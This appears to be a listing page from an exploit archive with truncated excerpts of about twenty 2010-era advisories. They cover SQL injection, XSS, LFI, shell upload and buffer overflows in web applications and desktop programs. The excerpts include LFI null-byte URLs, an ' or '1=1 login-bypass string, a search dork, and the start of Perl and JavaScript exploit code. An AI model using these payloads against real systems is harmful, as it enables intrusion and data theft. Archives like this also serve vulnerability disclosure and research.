phpCDB 1.0 - Local File Inclusion

phpCDB 1.0 - Local File Inclusion phpCDB Download: http://sourceforge.net/projects/phpcdb/files/ PoC: phpcdbpath/firstvisit.php?langglobal=LFI%00 phpcdbpath/newfolder.php?langglobal=LFI%00 phpcdbpath/showfolders.php?langglobal=LFI%00 phpcdbpath/newlang.php?langglobal=LFI%00...

Joomla 1.5.15 Persistant XSS Vulnerability

Exploit for unknown platform in category web applications ========================================== Joomla 1.5.15 Persistant XSS Vulnerability ========================================== prog ------------- Joomla 1.5.15 vuln ------------- Persistant XSS in 'Author Alias' source -------------...

Symev CMS SQL Injection

Symev cms...

Netzbrett Database Disclosure Vulnerability

Exploit for unknown platform in category web applications =========================================== Netzbrett Database Disclosure Vulnerability =========================================== ============================================================================== » Note : Tribute to the...

New-CMS 1.08 LFI / XSS / XSRF / Shell Upload

Multiple Vulnerability in New-CMS Vendor SW: New-CMS Version: 1.08 but possible all versions Vendor URL: www.new-cms.org Tested on: Ubuntu Server 9.10 Category: Webapps/0day Date: 17 Feb 2010 Author: Alberto "fulgur" Fontanella Author URL: ictsec.wordpress.com Author EMAIL: itsicurezzayahoo.it 1 ...

New-CMS v1.08 Multiple Vulnerability

Exploit for unknown platform in category web applications ==================================== New-CMS v1.08 Multiple Vulnerability ==================================== Multiple Vulnerability in New-CMS Vendor SW: New-CMS Version: 1.08 but possible all versions Vendor URL: www.new-cms.org Tested...

Joomla! Component com_acteammember - SQL Injection

Joomla Component comacteammember Sql Injection Vulnerability ============================================================== .:. Author : altbta [email protected] .:. Home : www.v4-team.com/cc .:. Dork : inurl:"comacteammember" === Exploit ===...

Extreme Mobster Free.Licente Cross Site Scripting

======================================================================================== | Title : Extreme Mobster Free.Licente Cross Site Scripting Vulnerability | Author : indoushka | email : [email protected] | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | Web Si...

vBulletin v 4.0.1 XSS Vulnerability

Exploit for unknown platform in category web applications =================================== vBulletin v 4.0.1 XSS Vulnerability =================================== + Script: vBulletin Version 4.0.1 + Vendor: www.vbulletin.com + Author: W4n73d Bug: Cross Site Scripting XSS Exploit:...

File Upload Manager 1.3 Shell Upload

Exploit Title: File Upload Manager v1.3 exploit Date: 14/2/2010 Author: ROOTEGY Software Link: Version: v1.3 Tested on: CVE : Code : ============================================================ www.sec-war.com ============================================================ 1- upload shell with:...

StatCounteX 3.1 Multiple Vulnerabilities

Exploit for unknown platform in category web applications ======================================== StatCounteX 3.1 Multiple Vulnerabilities ======================================== Exploit Title: StatCounteX 3.1 Multiple Vulnerabilities Author: Phenom Software Link:...

Trade Manager Script - SQL Injection

::::::::::::::::::::::::: Exploit Title : Trade Manager Script SQL injection Vulnerability Author : JaMbA Script Site : www.commodityrentals.com Version : All Versions Tested on : Windows & Linux ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::...

RadASM 2.2.1.6 - .rap Local Buffer Overflow (PoC)

RadASM 2.2.1.6 - .rap Local Buffer Overflow PoC /Radasm .rap file local buffer overflow POC I'll be back in a few hours with the exploit. The vuln is in the filename field. snip Files...1=AVP OVERFLOW... snip / include void genrandomchar,const int; void printchar; unsigned int getFsizeFILE,char;...

UltraISO 9.3.6.2750 - Local Buffer Overflow (PoC)

/ccd overflow string=10974 bytes img file size=109974 bytes ccd file size=11812 / include include include void printchar; unsigned int getFsizeFILE,char; void genrandomchar,const int; void exploitchar,char; define IM "testf.img" define CC "testf.ccd" define VER "9.3.6.2750" define POCNAME "Ultrai...

Safari v4.0.4, Firefox v3.5.6, SeaMonkey v2.0.1 Remote Denial of Service

No description provided by source. !-- Safari 4.0.4 Remote Denial of Service With Possible Memory Corruption With OOM Firefox 3.5.6 Safari 4.0.4 SeaMonkey 2.0.1 Author : 599eme Man Contact : [email protected] -- body onload="javascript:DoS;"/body script function DoS var buffer = 'A'; for i =0;i150;i+...

FoxPlayer 1.7.0 - '.m3u' Local Buffer Overflow

!/usr/bin/perl print qq FoxPlayer 1.7.0 .m3u Local Buffer Overflow Exploit Credit : opt!x hacker http://milw0rm.com/exploits/9393 Author : cr4wl3r Greetz : str0ke, opt!x hacker, xoron all member at manadocoding.net all member at indonesianhacker.org ; my $junk = "\x41" x 260; my $eip =...

PHP Car Rental-Script - Authentication Bypass

/ Name : PHP Car Rental-Script Auth Bypass SQL Injection WebSite : http://www.carrentalphpscript.com/ Author : Hamza 'MizoZ' N. Email : [email protected] Greetz : Zuka , Achille Dark3r , int0x80 , geeksec.com ... / - Log-On page : http://server/PATH/index.php?pluginid=4 username = ' or '1=1/...

PHP Car Rental-Script - Authentication Bypass

PHP Car Rental-Script - Authentication Bypass / Name : PHP Car Rental-Script Auth Bypass SQL Injection WebSite : http://www.carrentalphpscript.com/ Author : Hamza 'MizoZ' N. Email : [email protected] Greetz : Zuka , Achille Dark3r , int0x80 , geeksec.com ... / - Log-On page :...

Evernew Free Joke Script SQL Injection

/ Name : Evernew Free Joke Script viewjokes.php SQL Injection WebSite : www.evernewscripts.com Download : http://www.evernewscripts.com/free-php-scripts/jokescript1.2.zip Author : Hamza 'MizoZ' N. Email : [email protected] Greetz : Zuka , int0x80 , geeksec.com ... a loot / VULN CODE -- viewjokes.p...

Crownweb SQL Injection

crownweb page.cfm Sql Injection Vulnerability =================================================================== .:. Author : AtT4CKxT3rR0r1ST .:. Email : [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : crownweb .:. Language : Cfm .:. Script Download:...